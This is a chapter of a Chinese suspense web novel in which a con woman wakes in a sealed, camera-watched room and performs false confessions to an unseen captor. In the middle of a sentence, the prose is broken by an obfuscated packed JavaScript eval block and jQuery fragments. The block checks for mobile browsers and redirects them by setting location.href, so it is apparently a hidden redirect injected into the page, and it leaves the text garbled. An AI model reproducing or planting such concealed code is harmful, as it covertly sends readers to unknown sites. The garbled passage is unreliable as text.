22. 密室——通体生寒

作品:《心惊胆颤

    紧接着,一股无法形容的、毁灭性的力量猛地攫住了她!


    剧痛!


    那不是普通的疼痛,而是仿佛千万根烧红的钢针从接触点瞬间刺入骨髓,沿着神经疯狂蔓延、炸裂!


    身体完全不受控制,像一尾被扔上岸的鱼,在无形的电网上疯狂抽搐、弹跳!


    骨骼在哀鸣,肌肉在撕裂,每一根神经都在发出濒死的尖叫!


    视野被一片刺目的白光吞噬,所有的声音——她自己的尖叫、电流的嘶吼——都扭曲、拉长,变成一种令人毛骨悚然的嗡鸣。


    时间感消失了。


    一秒?还是一万年?只有那无休止的、摧毁一切的电流在体内肆虐。


    然后,黑暗,比房间本身更加深邃的黑暗,猛地涌了上来,淹没了所有感官。


    她像断线的木偶,直挺挺地栽倒在冰冷坚硬的地板上,彻底失去了意识。


    混沌。


    意识像是在粘稠的、冰冷的沥青里挣扎。


    沉重的眼皮如同灌了铅,每一次试图掀开都耗尽全身的力气。


    痛。


    脖子像是被重物狠狠碾过,传来一阵阵尖锐的、深及骨髓的酸胀和钝痛,每一次细微的吞咽动作都带来撕裂般的刺激。


    这痛楚是唯一清晰的存在,像黑暗中的灯塔,将她从虚无的深渊里一点点拽了回来。


    安娜艰难地、极其缓慢地睁开了眼睛。


    视野模糊不清,像是蒙着一层厚厚的毛玻璃。


    她用力眨了眨眼,生理性的泪水涌出,勉强冲刷开一片模糊的视野。


    陌生的天花板。


    低矮,冰冷,覆盖着一层灰白色的、毫无装饰的涂料。没有熟悉的吊灯,没有蛛网,只有一片死寂的、压抑的灰白。


    她猛地想坐起来,脖颈处传来的剧痛让她瞬间倒抽一口冷气,眼前金星乱冒,差点再次晕厥过去。


    她不得不放缓动作,像生锈的机器般,极其缓慢地用手肘支撑起上半身,环顾四周。


    心脏在胸腔里疯狂地擂动,撞击着肋骨,发出沉闷的巨响,在绝对的寂静中显得格外恐怖。


    这是一个……房间?


    不,更像是一个盒子。一个冰冷的、散发着金属和混凝土气味的盒子。


    四壁同样是灰白色的涂料,触手冰冷坚硬。


    没有窗户。


    一丝一毫的自然光都透不进来。唯一的光源来自头顶斜上方的一个角落——一个嵌在墙壁里的、拳头大小的半球形装置,正散发着幽幽的、令人心悸的红色光点。


    摄像头。


    它在注视着她。


    安娜的呼吸骤然急促起来。


    恐惧像冰冷的毒蛇,瞬间缠紧了她的心脏。


    她下意识地摸向自己的口袋——手机、钥匙、那厚厚的一沓钞票……全都不见了!身上只剩下那件廉价的仿皮草大衣和里面单薄的裙子,在冰冷的空气中毫无作用。


    是谁?


    她的脑子飞快地转动,无数张面孔在混乱的思绪中闪过——那些被她骗过的男人?愤怒的皮条客?某个被她得罪过的地头蛇?


    可能性太多,每一个都带着冰冷的恶意。


    “有人吗?”她开口,声音嘶哑干涩,如同砂纸摩擦,在这密闭的空间里显得微弱而无力。


    没有回应。只有她自己粗重的呼吸声在墙壁间回荡,被放大,扭曲,再反弹回来,形成一种诡异的回音,仿佛有另一个人在模仿她的喘息。


    死寂。


    令人发疯的死寂。


    安娜强忍着脖颈的剧痛和内心的恐慌,挣扎着站了起来。


    双腿有些发软,但还能支撑。她开始仔细地、一寸寸地观察这个囚笼。


    房间不大,约莫十来个平方。除了头顶那个不祥的红点,房间里空无一物。


    没有家具,没有杂物,只有冰冷的墙壁和同样冰冷的水泥地面。


    然后,她看到了门。


    不是一扇,而是两扇。


    一扇在她正前方,厚重,巨大,颜色是冰冷的金属灰。


    走近细看,它不像普通的门,更像是一整块巨大的、毫无缝隙的合金板镶嵌在墙壁里。


    门中央,一个闪烁着微弱绿光的电子密码盘是唯一的装置。


    没有门把,没有锁孔,光滑得像一块冰冷的墓碑。


    另一扇门则在正后方。


    截然不同的风格——一扇看起来很普通的、涂着暗绿色油漆的铁门。


    门中央靠下的位置,有一个小小的、书本大小的方形拉窗,上面嵌着几根粗硬的铁条。


    出口?


    安娜的心跳得更快了。她先走向那扇合金大门。


    手指触碰到冰冷的金属表面,寒意瞬间刺入指尖。


    她尝试着去推、去拉,大门纹丝不动,沉重得超乎想象。她将注意力转向密码盘。


    绿色的数字按键散发着微弱的光。


    她尝试着按了几个数字组合——000000,123456,甚至胡乱按了一串。


    每一次按下确认键,密码盘都只是发出一声短促、冰冷的“嘀”声,红光微闪,大门依旧沉默如山。


    徒劳无功。


    她转身,踉跄着走向后方的铁门。


    这扇门至少看起来不那么绝望。


    她伸出手指,勾住拉窗下方的一个小凹槽,用力向外一拉。


    “哐啷。”


    小铁窗被拉开了,露出后面同样大小的方形孔洞,被粗铁条封死。


    安娜凑近铁条,眯起眼睛向里看去。


    另一个房间。


    大小似乎和自己所在的这个差不多。同样是灰白的墙壁,冰冷的水泥地。


    空荡荡的,什么都没有。没有人影,没有家具,只有一片死寂的空旷。


    她不甘心地左右转动视线,试图看得更清楚些,但视野被铁条和孔洞限制着。确实空无一人。


    两扇门,一扇坚不可摧,一扇通向另一个同样绝望的牢笼。头顶的红色眼睛无声地记录着她的挣扎。


    一股巨大的无力感和恐慌攫住了她。她背靠着冰冷的铁门滑坐在地,蜷缩起来。


    寒意从地面和墙壁源源不断地渗透进来,钻进骨头缝里。恐惧、迷茫、脖颈的疼痛、还有……饥饿?干渴?


    时间在这里失去了意义,她不知道自己昏迷了多久,但身体的本能已经开始发出警报。


    怎么办?


    硬闯?不可能。


    智取?密码无从猜起。


    等待?等待那个把她关进来的人?对方的目的又是什么?


    一个念头闪过——也许,对方只是想看她痛苦?看她求饶?


    安娜的眼中闪过一丝微光。


    示弱,有时也是一种武器。


    她深吸一口气,调整了一下情绪,然后,毫无预兆地,眼泪像断了线的珠子般滚落下来。


    起初是无声的抽泣,肩膀微微耸动,接着是压抑的呜咽,最后变成了带着绝望腔调的嚎啕大哭。


    她哭得投入极了,肩膀剧烈地颤抖,泪水混着脸上的污迹,狼狈不堪。


    那副梨花带雨、我见犹怜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993115|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的模样,是她精心练习过无数次的武器,曾在多少男人身上无往不利。


    “求求你……放了我吧……”她一边哭一边断断续续地哀求,声音因为哭泣而显得更加破碎可怜,“不管你是谁……我知道错了……我什么都愿意做……求求你……”


    哭声在狭小的空间里回荡,显得格外凄楚。


    她竖起耳朵,捕捉着任何一丝可能的回应——脚步声?开锁声?哪怕是一声嘲讽的冷笑?


    没有。


    只有她自己哭泣的回音,渐渐减弱,最终被冰冷的寂静再次吞噬。


    头顶的摄像头,那个红色的光点,依旧冰冷地、恒定地亮着,像一只永远不会眨眼的恶魔之眼。


    安娜的哭声渐渐止住了。不是因为她得到了回应,而是因为……太累了。


    干渴的感觉因为哭泣和说话而变得更加尖锐,喉咙火烧火燎。


    她仰起头,任由最后几滴眼泪滑落,视线无意识地扫过天花板。


    就在摄像头的旁边,冰冷的灰色天花板上,有人用某种暗红色的、像是干涸血液的颜料,歪歪扭扭地写着三个巨大的方块字。


    她认得这种文字。那是中文。


    三个字——【忏悔吧】。


    安娜的瞳孔骤然收缩,心脏像是被一只冰冷的手狠狠攥住!


    忏悔?


    向谁忏悔?


    为哪件事忏悔?


    把她关在这里的人……到底是谁?!


    寒意,比这房间本身的冰冷更刺骨的寒意,瞬间从脊椎骨窜上头顶。她猛地低下头,不敢再看那三个字,仿佛那是什么会吞噬灵魂的诅咒。


    但她的脑子却在疯狂运转。忏悔……对方要的是她的忏悔?


    是某个被她骗得倾家荡产的人?还是某个被她利用后又抛弃的“客户”?


    她再次抬起头,这次是直接看向那个摄像头,眼神里充满了伪装的痛苦和“真诚”的悔悟。


    “约翰?是你吗,约翰?”


    她急切地开口,声音带着恰到好处的哽咽,“对不起!我真的非常非常对不起!我偷了你的钱……但我当时太绝望了!我家里……家里有八十岁的老母亲要养,还有个三岁的孩子等着奶粉钱……我实在是走投无路啊!求求你,原谅我,放我出去!钱我一定还!加倍还!”


    她停下来,屏住呼吸,倾听着,观察着。


    房间里依旧死寂,摄像头红光依旧。


    不是约翰?她立刻换了一个名字:“马克?是马克吗?那次的事我很抱歉,我……”


    她开始滔滔不绝,像倒豆子一样,将自己这些年做过的、大大小小的“错事”——主要是那些骗局和盗窃——一件件说了出来。


    语气诚恳,细节丰富,甚至带着自我剖析的“深刻”。她忏悔偷过的每一个钱包,骗过的每一个男人,声泪俱下,情真意切。


    时间一分一秒过去。她的喉咙越来越干,声音越来越嘶哑。


    她说了很多很多,几乎把自己能想到的“罪状”都翻了个底朝天。


    然而,回应她的,只有无边的寂静,和那个恒定注视着她的红色光点。


    仿佛她所有的表演,所有的忏悔,都只是对着虚空的一场独角戏。


    一股冰冷的绝望感,如同这房间的寒气,开始一点点渗透进她的四肢百骸。


    她终于意识到,事情远没有她想的那么简单。


    对方要的,可能根本不是她所“忏悔”的这些。


    或者……对方要的,根本就不是她的忏悔?


    这个认知让她通体生寒。